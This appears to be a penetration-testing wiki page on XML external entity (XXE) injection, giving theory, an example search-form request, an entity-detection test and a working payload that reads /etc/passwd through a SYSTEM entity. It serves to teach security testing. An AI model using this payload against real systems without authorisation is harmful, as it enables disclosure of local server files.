XXE injection

Theory
Some web applications handle data and rely on the XML format to exchange data with the browsers.
XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data (portswigger).
XXE injections can sometimes lead to SSRF (Server-Side Request Forgery), Local File Disclosure, Sensitive Information Disclosure, Data Exfiltration, RCE (Remote Code Execution) and so on.
Practice
Testers need to find input vectors and forms that send XML formatted data to the application.
For instance, in the following request, the user submitted a search form with the input "TESTINPUT".
1
POST /action HTTP/1.1
2
Host: some.website
3
[...]
4
Connection: close
5
​
6
<?xml version="1.0"?>
7
<searchForm>  
8
         <from>TESTINPUT</from>
9
</searchForm>
Copied!
The tester can detect if the XML parser parses the external entities by defining one inside a DOCTYPE element, and checking if the value in the from element gets replaced (the value will be replaced in the reflected messages sent by the application like error messages, search results).
1
<?xml version="1.0"?>
2
<!DOCTYPE xxeinjection [ <!ENTITY newfrom "VULNERABLE"> ]>
3
<searchForm>  
4
         <from>&newfrom;</from>
5
</searchForm>
Copied!
A vulnerable application should replace the value by "VULNERABLE". The tester can then try to disclose local files by replacing the from value with the content of a sensitive file (e.g. /etc/passwd).
1
<?xml version="1.0"?>
2
<!DOCTYPE xxeinjection [ <!ENTITY newfrom SYSTEM "file:///etc/passwd"> ]>
3
<searchForm>
4
  <from>&newfrom;</from>
5
</searchForm>
Copied!
References
What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy
WebSecAcademy
Penetration Testing and Vulnerability Assessment: ENCIPHERS
ENCIPHERS: Demystifying Security, one vulnerability at a time
PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings
GitHub

SSRF (Server-Side Request Forgery)

🛠️ CRLF injection

Last modified 1yr ago

Copy link

Edit on GitHub

Contents

Theory

Practice

References